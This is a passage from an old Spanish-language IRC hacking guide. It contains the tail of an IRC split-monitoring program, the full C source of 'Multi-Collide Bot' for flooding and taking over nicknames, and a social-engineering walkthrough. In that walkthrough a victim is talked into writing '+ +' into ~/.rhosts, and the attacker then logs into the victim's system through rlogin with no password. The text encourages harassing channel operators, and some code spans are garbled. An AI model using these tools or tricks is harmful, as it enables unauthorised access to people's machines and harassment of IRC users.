if(serv->status & SPLIT) {
printf("%s SPLIT: %s [%s]\n",stamp(serv->time),serv->name,serv->link);
fflush(stdout);
}
}
}
void
do_365(char *from,char *left) {
struct irc_server *serv=sl1;
for(;serv;serv=serv->next) {
if(!findserv(sl2,serv->name)) {
if(!(serv->status & SPLIT)) {
serv->time=time(NULL);
printf("%s SPLIT: %s [%s]\n",stamp(serv->time),serv->name,serv->link);
fflush(stdout);
serv->status|=SPLIT;
}
}
else
if(serv->status & SPLIT) {
serv->time=time(NULL);
printf("%s MERGE: %s [%s]\n",stamp(serv->time),serv->name,serv->link);
fflush(stdout);
serv->status&=~SPLIT;
}
}
serv=sl2;
for(;serv;serv=serv->next) {
if(!findserv(sl1,serv->name)) {
struct irc_server *serv2;
serv2=(struct irc_server *)malloc(sizeof(struct irc_server));
serv2->next=sl1;
serv2->status=0;
mstrcpy(&serv2->name,serv->name);
mstrcpy(&serv2->link,serv->link);
sl1=serv2;
serv2->time=time(NULL);
if(link_count) {
printf("%s ADDED: %s [%s]\n",stamp(serv2->time),serv->name,serv->link);
fflush(stdout);
}
}
}
link_count=1;
clean_sl2();
}
void
do_ping(char *from,char *left) {
sprintf(out_buf,"PING :%s\n",hostname);
out();
}
void
do_001(char *from,char *left) {
fprintf(stderr,"Logged into server %s as nickname %s\n\n",from,nick);
fflush(stderr);
alarm(0);
signal(SIGALRM,(void (*)())heartbeat);
alarm(LDELAY);
}
void
do_error(char *from,char *left) {
fprintf(stderr,"Server error: %s\n",left);
fflush(stderr);
}
void
parse2(void) {
char *from,*cmd,*left;
if(*ins==':') {
if(!(cmd=strchr(ins,' ')))
return;
*cmd++=(char)0;
from=ins+1;
}
else {
cmd=ins;
from=(char *)0;
}
if((left=strchr(cmd,' '))) {
int command;
*left++=(char)0;
left=(*left==':') ? left+1 : left;
for(command=0;parsefuns[command].cmd;command++) {
if(!mystrccmp(parsefuns[command].cmd,cmd)) {
parsefuns[command].func(from,left);
break;
}
}
}
}
void
parse(int length) {
char *s=in;
*(ins+length)=(char)0;
for(;;) {
ins=s;
while(*s && *s!=(char)13 && *s!=(char)10)
s++;
if(*s) {
while(*s && (*s==(char)13 || *s==(char)10))
*s++=(char)0;
parse2();
}
else
break;
}
strcpy(in,ins);
ins=in+(s-ins);
}
void
process_server(void) {
int x=0;
for(;;) {
fd_set rd,wr;
struct timeval timeout;
timeout.tv_usec=0; timeout.tv_sec=1;
FD_ZERO(&rd); FD_ZERO(&wr);
FD_SET(sock,&rd);
if(session==INPROGRESS)
FD_SET(sock,&wr);
errno=0;
#ifdef HPSUCKS
select((size_t)FD_SETSIZE,(int *)&rd,(int *)&wr,(int *)0,(session==INPROGRESS)?(const struct timeval *)&timeout:(const struct timeval *)0);
#else
select(getdtablesize(),(fd_set *)&rd,(fd_set *)&wr,(fd_set *)0,(session==INPROGRESS)?(struct timeval *)&timeout:(struct timeval *)0);
#endif
if(errno==EINTR)
continue;
errno=0;
if(session==INPROGRESS) {
if(FD_ISSET(sock,&wr)) {
init_server();
continue;
}
else {
if(x++>=TIMEOUT)
exit_program("connection timed out");
fprintf(stderr,"."); fflush(stderr);
}
}
if(FD_ISSET(sock,&rd)) {
int length=read(sock,ins,BUFSIZE-(ins-in));
if(length<1) {
if(session!=INPROGRESS) {
if(!errno) {
fputs("Connection closed by foreign host.",stderr);
errno=ENOTCONN;
}
else
fprintf(stderr,"Connection to %s closed.\n",
inet_ntoa(server.sin_addr));
fflush(stderr);
}
exit_program(mystrerror(errno));
}
if(strpbrk(in,"\x0a\x0d"))
parse(length);
else
ins=(BUFSIZE-((ins+length)-in)<1)?in:ins+length;
}
}
}
char *stamp(time_t ltime) {
strftime(lasttime, 81, "%x %X", localtime(<ime));
return (char *) &lasttime;
}
void
main(int argc,char *argv[]) {
unsigned short int sport=PORT;
unsigned int loop;
struct passwd *passent;
fprintf(stderr, "Link Looker v%s, written and designed by Dr. Delete.\n" \
" Enhanced by lilo.\n" \
"Type '%s -h' or '%s --help' for more information.\n\n",
VERSION, argv[0], argv[0]);
for(loop=1; loop [[:] ['' " \
"[]]]]\n\n where:\n\n" \
" is the nickname to be used (default is userid),\n" \
" is the hostname of the server to be used,\n" \
" is a four digit port number (default is 6667),\n" \
" is a description of the user (default is gecos info), and\n" \
" is the user account field, used only if identd\n" \
" has not been enabled on the user's system.\n", \
argv[0]);
exit(1);
}
}
passent=getpwuid(getuid());
if(argc>1)
strncpy(nick,argv[1],9);
else
strncpy(nick,passent->pw_name,9);
if(argc>2) {
char *port=strchr(argv[2],':');
sport=(port)?atoi(port+1):sport;
strncpy(serverhost,argv[2],80);
if(port)
serverhost[port-argv[2]]=(char)0;
}
else
strncpy(serverhost,SERVER,80);
if(argc>3)
strncpy(realname,argv[3],80);
else {
char *comma=strchr(passent->pw_gecos,',');
strncpy(realname,passent->pw_gecos,80);
if(comma)
realname[comma-(passent->pw_gecos)]=(char)0;
}
if(argc>4)
strncpy(user,argv[4],9);
else
strncpy(user,passent->pw_name,9);
signal(SIGPIPE,(void (*)())signal_handler);
signal(SIGHUP,(void (*)())show_split);
signal(SIGINT,(void (*)())signal_handler);
signal(SIGTERM,(void (*)())signal_handler);
signal(SIGBUS,(void (*)())signal_handler);
signal(SIGABRT,(void (*)())signal_handler);
signal(SIGSEGV,(void (*)())signal_handler);
signal(SIGALRM,(void (*)())signal_alarm);
errno=0;
if((sock=socket(AF_INET,SOCK_STREAM,0))>0) {
server.sin_family=AF_INET;
server.sin_port=htons(sport);
fprintf(stderr,"Resolving %s...",serverhost); fflush(stderr);
if((server.sin_addr.s_addr=resolver(serverhost))) {
fputs("done\n",stderr);
fflush(stderr);
setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
fcntl(sock,F_SETFL,(fcntl(sock,F_GETFL)|O_NDELAY));
fprintf(stderr,"Connecting to %s...",inet_ntoa(server.sin_addr));
fflush(stderr);
errno=0;
if(connect(sock,(struct sockaddr *)&server,sizeof(server))) {
if(errno!=EINPROGRESS && errno!=EWOULDBLOCK)
exit_program(mystrerror(errno));
else
session=INPROGRESS;
}
else
init_server();
gethostname(hostname,64);
process_server();
}
else
exit_program("resolve failed");
}
else {
fprintf(stderr,"Failed to allocate an AF_INET socket. (%s)\n", \
mystrerror(errno));
fflush(stderr);
}
}
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
12 - Nuestro propio BOT .
En este apartado explicaremos y os damos al codigo fuente de uno , pero
por supuesto que esta en ingles y en C para unix :)
Como te habras dado cuenta casi siempre esta en ingles , desgraciadamente
esto es asi ya que nos llevan ventaja y ademas en espa¤ol encontrar algo
es realmente dificil , pero para ello estoy creando esta guia y que sea
casi siempre para unix , es natural es el mejor s.o. que se puede
encontrar e internet se mueve gracias a el .
Bueno basta de rollos , empezamos esta seccion , ¨ quieres saber que es
un BOT ? , bueno , pues basicamente consiste en que podamos meter en el
servidor varias personas aunque en la practica sola haya una manejandolas
o sea nosotros .
Pues esto tiene varios usos , como cada bot que metamos le podemos meter
un nick , pues podemos meternos en un canal con tres bot por ejemplo ,
llamados bot1 , bot2 , bot3 , ya estamos dentro , vemos a un OP que
sabemos que es un estupido , y por ejemplo con el bot2 le insultamos y
luego le intentamos joder , el lo mas seguro es que heche al bot2 pero
todavia en el canal tendremos a bot1 y bot3 , para seguir hablando
y el OP solo cojera mania al bot2 :)
Tambien podemos crear un canal y metenos varios bot en el y parecera que
hay varias personas dentro y con el tiempo ya vendra gente .
Aunque los bot tiene mas usos , no los voy a declarar todos aqui :)
Tened cuidado cuando jugueis con el bot ya que os puede pillar ese OP
que intentas joder o el servidor os puede hechar si os pilla usando
bot .
- > Codigo fuente de nuestro BOT .
/*==========================================================*\
|| mcb.c - Multi-Collide Bot v2.0 (beta) ||
|| Written by Dr_Delete ||
|| Released for the world to use on 11/15/94 ||
|| Modified a tiny bit by Vassago for use with Serpent 3.06 ||
\*==========================================================*/
/* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
/* Compiling examples:
regular old ANSI/C cc:
cc -O -s -o mcb mcb.c
HP-UX cc:
cc +O3 -Aa -s -DHPSUCKS -o mcb mcb.c
GNU GCC:
Linux:
gcc -O2 -fomit-frame-pointer -funroll-loops -m486 -s -Wall -o mcb mcb.c
BSD, SunOS 4.1.x, Slowaris 2.x, NeXT:
gcc -O2 -funroll-loops -s -Wall -o mcb mcb.c */
/* -------------------------------------------------------- *\
To kill this program once it has started, send a
kill -2 to it's process ID and it'll exit gracefully.
kill -1 will cause mcb to display a list of it's active
sessions to stdout.
\* -------------------------------------------------------- */
/* You may want to tweak some of these defaults, but they
are controllable on the command line. */
/* Time in which parser will close a pending TCP connection,
and possibly try again */
#define TCP_TIMEOUT 30
/* Number of times a session is allowed to attempt a TCP
connection to the server. */
#define MAX_ATTEMPTS 2
/* Number of seconds the parser will wait for a server to
start once the TCP connection has been made */
#define SRV_TIMEOUT 60
/* Maximum amount of time parser will wait for I/O */
#define MAX_WAITIO 15
/* Maximum amount of time the parser will wait when in NOMULTI mode */
#define MAX_WAITIONM 5
/* Max lines (NICK statements) to send to the server in NOMULTI mode */
#define MAX_NICKS 5
/* Default IRC server port */
#define IRCPORT 6667
/* number of bytes to allocate for socket read buffer */
#define BUFSIZE 400
#ifdef HPSUCKS
#define _INCLUDE_HPUX_SOURCE
#define _INCLUDE_XOPEN_SOURCE
#define _INCLUDE_POSIX_SOURCE
#endif
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifndef sys_errlist
extern char *sys_errlist[];
#endif
#ifndef errno
extern int errno;
#endif
/* global variables */
unsigned short int tcp_timeout=TCP_TIMEOUT;
unsigned short int max_attempts=MAX_ATTEMPTS;
unsigned short int srv_timeout=SRV_TIMEOUT;
unsigned short int max_waitionm=MAX_WAITIONM;
unsigned short int max_nicks=MAX_NICKS;
unsigned short int progmode=0;
char *output_buffer=(char *)0;
char mcbid[25],mcbhost[64];
struct in_addr mcb_addr;
#define PROG_DEBUG 1
#define PROG_VERBOSE 2
#define PROG_NOETHICS 4
#define PROG_NOMULTI 8
#define PROG_HAVESERV 16
#define PROG_IGNORENIU 32
#define PROG_SHOWSOUT 64
struct collide_session {
int sock;
unsigned long int ip;
unsigned short int status;
unsigned short int port;
unsigned short int connect_attempts;
time_t tcpstart;
time_t srvstart;
char *server;
char *token;
char *victim;
char *stack;
char *stack_pointer;
struct collide_session *next;
} *first_session=(struct collide_session *)0;
struct collide_session *last_session=(struct collide_session *)0;
struct collide_session *active_session=(struct collide_session *)0;
void do_ping(struct collide_session *,char *,char *);
void do_001(struct collide_session *,char *,char *);
void do_error(struct collide_session *,char *,char *);
void do_433(struct collide_session *,char *,char *);
void do_privmsg(struct collide_session *,char *,char *);
struct parsers {
char *cmd;
void (*func)(struct collide_session *,char *,char *);
} parsefuns[] = {
{ "PING", (void (*)())do_ping },
{ "001", (void (*)())do_001 },
{ "ERROR",(void (*)())do_error },
{ "433", (void (*)())do_433 },
{ "PRIVMSG", (void (*)())do_privmsg },
{ (char *)0,(void (*)())0 }
};
#define SES_ACTIVE 1
#define SES_INACTIVE 2
#define SES_DELETED 4
#define SES_PENDING 8
#define SES_SAWSERV 16
#define SES_NORETRY 32
#define SES_NICKINUSE 64
char *
mystrerror(int err) {
return(sys_errlist[err]);
}
void
sig_pipe(void) {
fprintf(stderr,"mcb: caught a SIGPIPE.\n");
fflush(stderr);
signal(SIGPIPE,(void (*)())sig_pipe);
}
void
show_sessions(void) {
struct collide_session *s=first_session;
signal(SIGHUP,(void (*)())show_sessions);
for(;s;s=s->next)
if(s->status & SES_ACTIVE) {
printf("%s: Connection to %s:%hu active.\n",s->victim,s->server,s->port);
fflush(stdout);
}
}
void
cclosed(struct collide_session *session,int errn) {
if(session->sock) {
shutdown(session->sock,0);
close(session->sock);
session->sock=0;
printf("%s: Connection to %s:%hu closed. ",session->victim,
session->server,session->port);
if(errn)
printf("[%s]\n",mystrerror(errn));
else
puts("");
fflush(stdout);
}
if(progmode & PROG_NOMULTI)
progmode &= ~PROG_HAVESERV;
if((session->status & SES_DELETED) || (session->status & SES_NORETRY) ||
session->connect_attempts>=max_attempts) {
if(progmode & PROG_DEBUG) {
printf("%s: Session flagged for delete.\n",session->victim);
fflush(stdout);
}
if(progmode & PROG_NOMULTI) {
struct collide_session *s=first_session;
for(;s;s=s->next)
s->status |= SES_DELETED;
}
else
session->status |= SES_DELETED;
}
else {
session->status |= SES_INACTIVE;
session->status &= ~SES_PENDING;
session->status &= ~SES_ACTIVE;
session->srvstart=session->tcpstart=(time_t)0;
}
}
void
exit_program(void) {
if(output_buffer)
free(output_buffer);
while(first_session) {
struct collide_session *cs=first_session->next;
if(progmode & PROG_DEBUG) {
printf("%s: Unallocating session.\n",first_session->victim);
fflush(stdout);
}
if(first_session->sock)
cclosed(first_session,ECONNABORTED);
if(first_session->stack)
free(first_session->stack);
if(first_session->token)
free(first_session->token);
free(first_session);
first_session=cs;
}
puts("Multi-CollideBot finished.");
exit(0);
}
char *nickpick="NnOoPpQqRr`SsTtUuVvWwXxYyZzAaBb_CcDdEeFfGgHhIiJjKkLlMmLzgLmtm|m";
void
fillran(char *string,unsigned short int length) {
while(length--)
*string++=*((nickpick)+(rand()%54));
*string=(char)0;
}
int
mystrccmp(register char *s1,register char *s2) {
while((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)==
(((*s2)>='a'&&(*s2)<='z')?(*s2++)-32:*s2++))
if(*s1++==0) return 0;
return (*(unsigned char *)s1-*(unsigned char *)--s2);
}
int
mystrcmp(register char *s1,register char *s2) {
unsigned short int n=9;
do {
if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=
((((*s2-8))>='a'&&((*s2)-8)<='z')?(*s2++)-40:(*(s2++))-8))
return(*(unsigned char *)s1-*(unsigned char *)--s2);
if(!*s1++)
break;
} while(--n);
return(0);
}
int
strnccmp(register char *s1,register char *s2,register int n) {
if(n==0) return(0);
do {
if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=(((*s2)>='a'&&(*s2)<='z')?
(*s2++)-32:*s2++))
return (*(unsigned char *)s1-*(unsigned char *)--s2);
if(*s1++==0) break;
} while(--n!=0);
return(0);
}
char *
mystrbpk(char *s) {
char *o=s;
while(*s) {
if(*s==13 || *s==10)
if(*(s+1)==78)
*(s+6)=(!mystrcmp(s+6,nickpick+54))?84:*(s+6);
s++;
}
return(o);
}
char *
digtoken(char **string,char *match) {
if(string && *string && **string) {
while(**string && strchr(match,**string))
(*string)++;
if(**string) { /* got something */
char *token=*string;
if((*string=strpbrk(*string,match))) {
*(*string)++=(char)0;
while(**string && strchr(match,**string))
(*string)++;
}
else
*string = ""; /* must be at the end */
return(token);
}
}
return((char *)0);
}
char *
mycstrstr(char *str1,char *str2) {
int xstr1len,ystr2len;
xstr1len=strlen(str1);
ystr2len=strlen(str2);
while(xstr1len && strnccmp(str1++,str2,ystr2len) && xstr1len-->=ystr2len);
if(!xstr1len || xstr1lensock)
return(write(session->sock,mystrbpk(string),strlen(string)));
return(0);
}
unsigned long int
resolver(char *host) {
unsigned long int ip=0L;
if(host && *host && (ip=inet_addr(host))==-1) {
struct hostent *he;
int x=0;
if(progmode & PROG_VERBOSE) {
printf("Resolving %s...",host);
fflush(stdout);
}
while(!(he=gethostbyname((char *)host)) && x++<2) {
if(progmode & PROG_VERBOSE) {
putchar('.');
fflush(stdout);
}
sleep(1);
}
if(x<2) {
ip=*(unsigned long *)he->h_addr_list[0];
if(progmode & PROG_VERBOSE) {
struct in_addr serv_addr;
serv_addr.s_addr=ip;
printf("%s\n",inet_ntoa(serv_addr));
fflush(stdout);
}
}
else {
ip=0L;
if(progmode & PROG_VERBOSE) {
puts("failed");
fflush(stdout);
}
}
}
return(ip);
}
void
version(void) {
puts("Multi-CollideBot v2.0 (beta)\n"
"Written by Dr. Delete 11/15/94");
fflush(stdout);
}
void
help(void) {
puts("Usage:\n"
" mcb [-vdmun] [-rlit time] [-a attempts] serv1[:port] nick1 [...]\n"
"Where: -v == verbose operation\n"
" -d == debug output\n"
" -n == no ethics - reconnects even after 'SCORE'. (nick takeover)\n"
" -i == seconds to wait for IRC server to start after connection.\n"
" -t == seconds to wait for a TCP connection to establish.\n"
" -a == attempts a session can make to establish a TCP session.\n"
" -m == METHOD 2: mcb will cycle through nicks on one TCP session.\n"
" -r == Rate of nicknames to send per -l(oop) time. (only in -m mode)\n"
" -l == Loop time. Causes mcb to send -r(ate) nicks in -l(oop) secs\n"
" -u == Ignore 'Nick Already in Use.' (continue to retry)\n"
" serv1 == first server specification and sets default server to use.\n"
"Examples:\n"
" mcb -t 30 server1.com nick1 nick2 nick3 server2.edu:6665 nick4\n"
" mcb server1.com nick1 nick2 server2.edu nick3 nick4 server3.net server4.com\n"
" mcb -vna 50 server.edu nicktotakeover\n"
" mcb -m -l 3 -r 2 server.com nick1 nick2 nick3 nick4 nick5 nick6 nick7 ...\n"
"Defaults:\n"
" -a == 2 retries. (Retries are aborted if nick is in use, etc.)\n"
" -i == 60 seconds. -t == 30 seconds. -l == 5 seconds. -r == 5 nicks.");
exit(0);
}
void
init_server(struct collide_session *s) {
char rn[10];
unsigned long int x;
fillran(rn,9);
sprintf(s->stack,"USER %s %s %s %s\nNICK %s\n",rn,rn,rn,rn,(progmode & PROG_NOMULTI)?rn:s->token);
x=strlen(s->stack);
errno=0;
if(out(s,s->stack)!=x)
cclosed(s,errno);
else {
struct collide_session *ses=first_session;
s->status &= ~SES_PENDING;
s->status &= ~SES_INACTIVE;
s->status |= SES_ACTIVE;
printf("%s: Connection to %s:%hu established.\n",
s->victim,s->server,s->port);
s->srvstart=time(NULL);
sprintf(s->stack,"mode %s +i\n");
for(;ses;ses=ses->next)
sprintf(s->stack,"%s %s%s",s->stack,ses->token,(ses==s)?"*":"");
strcat(s->stack,"\n");
out(s,s->stack);
if(progmode & PROG_NOMULTI)
progmode |= PROG_HAVESERV;
fflush(stdout);
}
}
void
set_tcp_handler(void) {
gethostname(mcbhost,64);
mcb_addr.s_addr=resolver(mcbhost);
if(!getlogin()) {
struct passwd *pw;
if(!(pw=getpwuid(getuid())))
if(!(getenv("USER")))
strcpy(mcbid,"unknown");
else
strcpy(mcbid,getenv("USER"));
else
strcpy(mcbid,pw->pw_name);
}
else
strcpy(mcbid,(char *)getlogin());
}
void
start_sessions(void) {
struct collide_session *session=first_session;
unsigned short int sessions=0;
if(progmode & PROG_HAVESERV)
return;
for(;session;session=session->next) {
if(progmode & PROG_DEBUG) {
printf("%s: Attempting to start session.\n",session->victim);
fflush(stdout);
}
if((session->status & SES_DELETED) || (session->status & SES_NORETRY))
continue;
sessions++;
if((session->status & SES_PENDING) || !(session->status & SES_INACTIVE))
continue;
if((session->sock=socket(AF_INET,SOCK_STREAM,0))) {
struct sockaddr_in server;
server.sin_family=AF_INET;
server.sin_addr.s_addr=session->ip;
server.sin_port=htons(session->port);
setsockopt(session->sock,SOL_SOCKET,SO_LINGER,0,0);
setsockopt(session->sock,SOL_SOCKET,SO_REUSEADDR,0,0);
setsockopt(session->sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
fcntl(session->sock,F_SETFL,(fcntl(session->sock,F_GETFL)|O_NDELAY));
errno=0;
session->tcpstart=time(NULL);
session->connect_attempts++;
if(connect(session->sock,(struct sockaddr *)&server,sizeof(server))) {
if(errno!=EINPROGRESS && errno!=EWOULDBLOCK)
cclosed(session,errno);
else {
session->status |= SES_PENDING;
if(progmode & PROG_VERBOSE) {
printf("%s: Connection to %s:%hu is in progress.\n",
session->victim,session->server,session->port);
fflush(stdout);
}
}
}
else
init_server(session);
if(progmode & PROG_NOMULTI) {
progmode |= PROG_HAVESERV;
break;
}
}
else {
printf("%s: Fatal error allocating AF_INET socket.\n",session->victim);
exit_program();
}
}
}
struct collide_session *
find_session(char *token) {
struct collide_session *s=first_session;
for(;s && mystrccmp(s->token,token);s=s->next);
return(s);
}
unsigned short int
check_sessions(void) {
struct collide_session *s=first_session;
unsigned short int x=0,y=0;
for(;s;s=s->next) {
x++;
y+=(s->status & SES_NICKINUSE)?1:0;
}
return((y==x));
}
void
do_433(struct collide_session *session,char *from,char *left) {
char *who;
if((who=digtoken(&left," ")) && (who=digtoken(&left," "))) {
if(progmode & PROG_HAVESERV) { /* multi-mode */
struct collide_session *s=find_session(who);
if(s) {
if(!(s->status & SES_NICKINUSE)) {
printf("%s: '%s' Nickname already in use.\n",session->victim,who);
fflush(stdout);
}
s->status |= SES_NICKINUSE;
}
if(check_sessions()) {
strcpy(output_buffer,"QUIT ::-\n");
out(session,output_buffer);
cclosed(session,0);
}
if(!(progmode & PROG_IGNORENIU))
session->status |= SES_NORETRY;
}
else {
if(!(session->status & SES_NICKINUSE)) {
printf("%s: '%s' Nickname already in use.\n",session->victim,who);
fflush(stdout);
}
session->status |= SES_NICKINUSE;
strcpy(output_buffer,"QUIT :bummer\n");
out(session,output_buffer);
cclosed(session,0);
if(!(progmode & PROG_IGNORENIU))
session->status |= SES_NORETRY;
}
}
}
void
do_ping(struct collide_session *session,char *from,char *left) {
sprintf(output_buffer,"PING :%s\n",mcbhost);
out(session,output_buffer);
}
void
do_001(struct collide_session *session,char *from,char *left) {
session->status |= SES_SAWSERV;
if(progmode & PROG_VERBOSE) {
printf("%s: Logged into server %s.\n",session->victim,from);
fflush(stdout);
}
}
void
do_privmsg(struct collide_session *session,char *from,char *left) {
char *what;
if((what=strchr(left,' '))) {
*what=(char)0;
what+=2;
printf("%s: %s -> %s\n",session->victim,from,what);
fflush(stdout);
}
}
void
do_error(struct collide_session *session,char *from,char *left) {
if(mycstrstr(left,"kill") || mycstrstr(left,"collision")) {
if(!(progmode & PROG_NOETHICS))
session->status |= SES_NORETRY;
printf("%s: SCORE!\n",session->victim);
}
else {
if(mycstrstr(left,"authoriz"))
session->status |= SES_NORETRY;
if(mycstrstr(left,"Bad pass"))
session->status |= SES_NORETRY;
else if(mycstrstr(left,"ghosts"))
session->status |= SES_NORETRY;
else if(mycstrstr(left,"k-line"))
session->status |= SES_NORETRY;
else if(mycstrstr(left,"kill"))
session->status |= SES_NORETRY;
printf("%s: %s\n",session->victim,left);
}
fflush(stdout);
}
void
parse2(struct collide_session *session) {
char *from,*cmd,*left,*ins=session->stack_pointer;
if(progmode & PROG_SHOWSOUT) {
printf("%s: %s\n",session->victim,ins);
fflush(stdout);
}
if(*ins==':') {
if(!(cmd=strchr(ins,' ')))
return;
*cmd++=(char)0;
from=ins+1;
}
else {
cmd=ins;
from=(char *)0;
}
if((left=strchr(cmd,' '))) {
unsigned short int command;
*left++=(char)0;
left=(*left==':') ? left+1 : left;
for(command=0;parsefuns[command].cmd;command++) {
if(!mystrccmp(parsefuns[command].cmd,cmd)) {
parsefuns[command].func(session,from,left);
break;
}
}
}
}
void
parse(struct collide_session *session,unsigned short int length) {
char *s=session->stack;
*(session->stack_pointer+length)=(char)0;
for(;;) {
session->stack_pointer=s;
while(*s && *s!=(char)13 && *s!=(char)10)
s++;
if(*s) {
while(*s && (*s==(char)13 || *s==(char)10))
*s++=(char)0;
parse2(session);
}
else
break;
}
strcpy(session->stack,session->stack_pointer);
session->stack_pointer=session->stack+(s-session->stack_pointer);
}
struct collide_session *
find_active_session(void) {
struct collide_session *session=first_session;
for(;session && !(session->status & SES_ACTIVE);session=session->next);
return(session);
}
void
parse_sessions(void) {
fd_set rd,wr;
struct collide_session *session;
struct timeval timeout;
time_t lastloop=(time_t)0;
while(1) {
unsigned short int sessions=0;
FD_ZERO(&rd);
FD_ZERO(&wr);
timeout.tv_usec=0;
timeout.tv_sec=(progmode & PROG_NOMULTI)?max_waitionm:MAX_WAITIO;
for(session=first_session;session;session=session->next) {
if(session->status & SES_DELETED)
continue;
if((session->status & SES_INACTIVE) && !(session->status & SES_PENDING) &&
!(session->status & SES_NORETRY) && !(progmode & PROG_HAVESERV)) {
start_sessions();
timeout.tv_sec=0;
break;
}
if(session->sock) {
FD_SET(session->sock,&rd);
if(session->status & SES_PENDING)
FD_SET(session->sock,&wr);
sessions++;
}
}
if(!timeout.tv_sec)
continue;
if(!sessions)
exit_program();
errno=0;
#ifdef HPSUCKS
select((size_t)FD_SETSIZE,(int *)&rd,(int *)&wr,(int *)0,(const struct timeval *)&timeout);
#else
select(getdtablesize(),(fd_set *)&rd,(fd_set *)&wr,(fd_set *)0,(struct timeval *)&timeout);
#endif
if(errno==EINTR)
continue;
for(session=first_session;session;session=session->next) {
if(session->status & SES_DELETED)
continue;
if((session->status & SES_PENDING) && FD_ISSET(session->sock,&wr)) {
init_server(session);
continue;
}
if(FD_ISSET(session->sock,&rd)) {
signed short int length;
errno=0;
length=read(session->sock,session->stack_pointer,
BUFSIZE-(session->stack_pointer-session->stack));
if(length<1) {
cclosed(session,errno);
continue;
}
if(strpbrk(session->stack,"\x0a\x0d"))
parse(session,length);
else
session->stack_pointer=(BUFSIZE-((session->stack_pointer+length)
-session->stack)<1)?session->stack:session->stack_pointer+length;
}
if((session->status & SES_PENDING) &&
(time(NULL)-session->tcpstart)>=tcp_timeout)
cclosed(session,ETIMEDOUT);
if((session->status & SES_ACTIVE) &&
!(session->status & SES_SAWSERV) &&
(time(NULL)-session->srvstart)>=srv_timeout)
cclosed(session,ETIMEDOUT);
}
if((!lastloop || (time(NULL)-lastloop)>max_waitionm) &&
(progmode & PROG_HAVESERV) &&
(active_session=find_active_session()) &&
(active_session->status & SES_SAWSERV)) {
struct collide_session *s=(last_session)?last_session:first_session;
unsigned short int nickcount=0;
lastloop=time(NULL);
while(nickcountstatus & SES_NICKINUSE)) {
sprintf(out_buf,"NICK %s\n",s->token);
x=strlen(out_buf);
if(x!=out(active_session,out_buf))
break;
if(progmode & PROG_DEBUG) {
printf("%s: Touched nickname.\n",s->token);
fflush(stdout);
}
nickcount++;
}
else
if(check_sessions())
nickcount=max_nicks;
s=(s->next)?s->next:first_session;
}
last_session=s;
}
}
}
void
main(int argc,char *argv[]) {
unsigned short int x=1;
unsigned short int ircport=IRCPORT;
unsigned long int defserv_octet=0L;
char *defserv_char=(char *)0;
char *defnick=(char *)0;
struct collide_session *temp;
version();
if(argc<3)
help();
srand(getpid());
signal(SIGPIPE,(void (*)())sig_pipe);
signal(SIGHUP,(void (*)())show_sessions);
signal(SIGINT,(void (*)())exit_program);
signal(SIGTERM,(void (*)())exit_program);
signal(SIGBUS,(void (*)())exit_program);
signal(SIGABRT,(void (*)())exit_program);
signal(SIGSEGV,(void (*)())exit_program);
set_tcp_handler();
output_buffer=(char *)malloc(BUFSIZE);
for(;xtoken=(char *)0;
cs->sock=0;
cs->status=SES_INACTIVE;
cs->connect_attempts=0;
errno=0;
cs->token=(char *)malloc(strlen(temptok)+1);
strcpy(cs->token,temptok);
cs->ip=defserv_octet;
cs->port=ircport;
cs->srvstart=cs->tcpstart=(time_t)0;
cs->server=defserv_char;
cs->victim=defnick;
cs->stack_pointer=cs->stack=(char *)malloc(BUFSIZE);
cs->next=first_session;
first_session=cs;
}
}
}
if(progmode & PROG_NOMULTI)
for(temp=first_session;temp;temp=temp->next)
temp->victim="multi-collide";
start_sessions();
parse_sessions();
exit_program();
}
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
13 - Metiendo el .rhosts por el IRC .
Aqui os vamos a contar una interesante tecnica , que se basa en una
combiancion por parte nuestra : ingenieria social , irc , telnet y
por supuesto el mundo unix :)
Vale ya empiezo , que impaciente , joer !!! . Pues primero creamos
un fichero .rhosts en el cual metenos algun nombre por exemplo
nuestro nick de incursion :)
El .rhosts en un fichero unix de control remoto para hacceder a otro
sistema el cual no necesita un password y siempre se encuentra
en el directorio HOME de cada usuario con permisos de lectura y
escritura unicamente para el usuario .
Cuando ya tengamos el fichero listo nos conectamos al IRC con algun
nick un poco tonto para parecer que es la primera vez que lo hacemos ,
luego buscamos una victima que se mueva en unix , entonces hablamos
con el , hacerle preguntas sobre como funciona el IRC y cosas por
el estilo para que se crea que somos unos novatillos , cuando ya
tengamos cierta confianza le decimos que tienes un comando que no
hace nada aparentemente y le pedimos si nos puede ayudar ejecutandolo
el :)
Lo mas seguro es que se preste a ayudarnos y nos diga cual es el
comando en cuestion , y le decimos que lo escriba .
-> Comando que debe escribir la victima .
. /EXEC echo "+ +" > ~/.rhosts
Cuando la victima haya escrito esto , seguramente nos dira que a el
tampoco le hace nada :) entonces nos despedimos y le damos las gracias
por su ayuda .
Dejamos el irc y nos dirigimos al prompt en unix y ejecutamos el
comando rlogin con el sistema de la victima .
-> Comando que hay que poner para acceder .
. rlogin victima.com -l nuestro_nick
Entonces accederemos al sistema de la victima sin password y nada :))
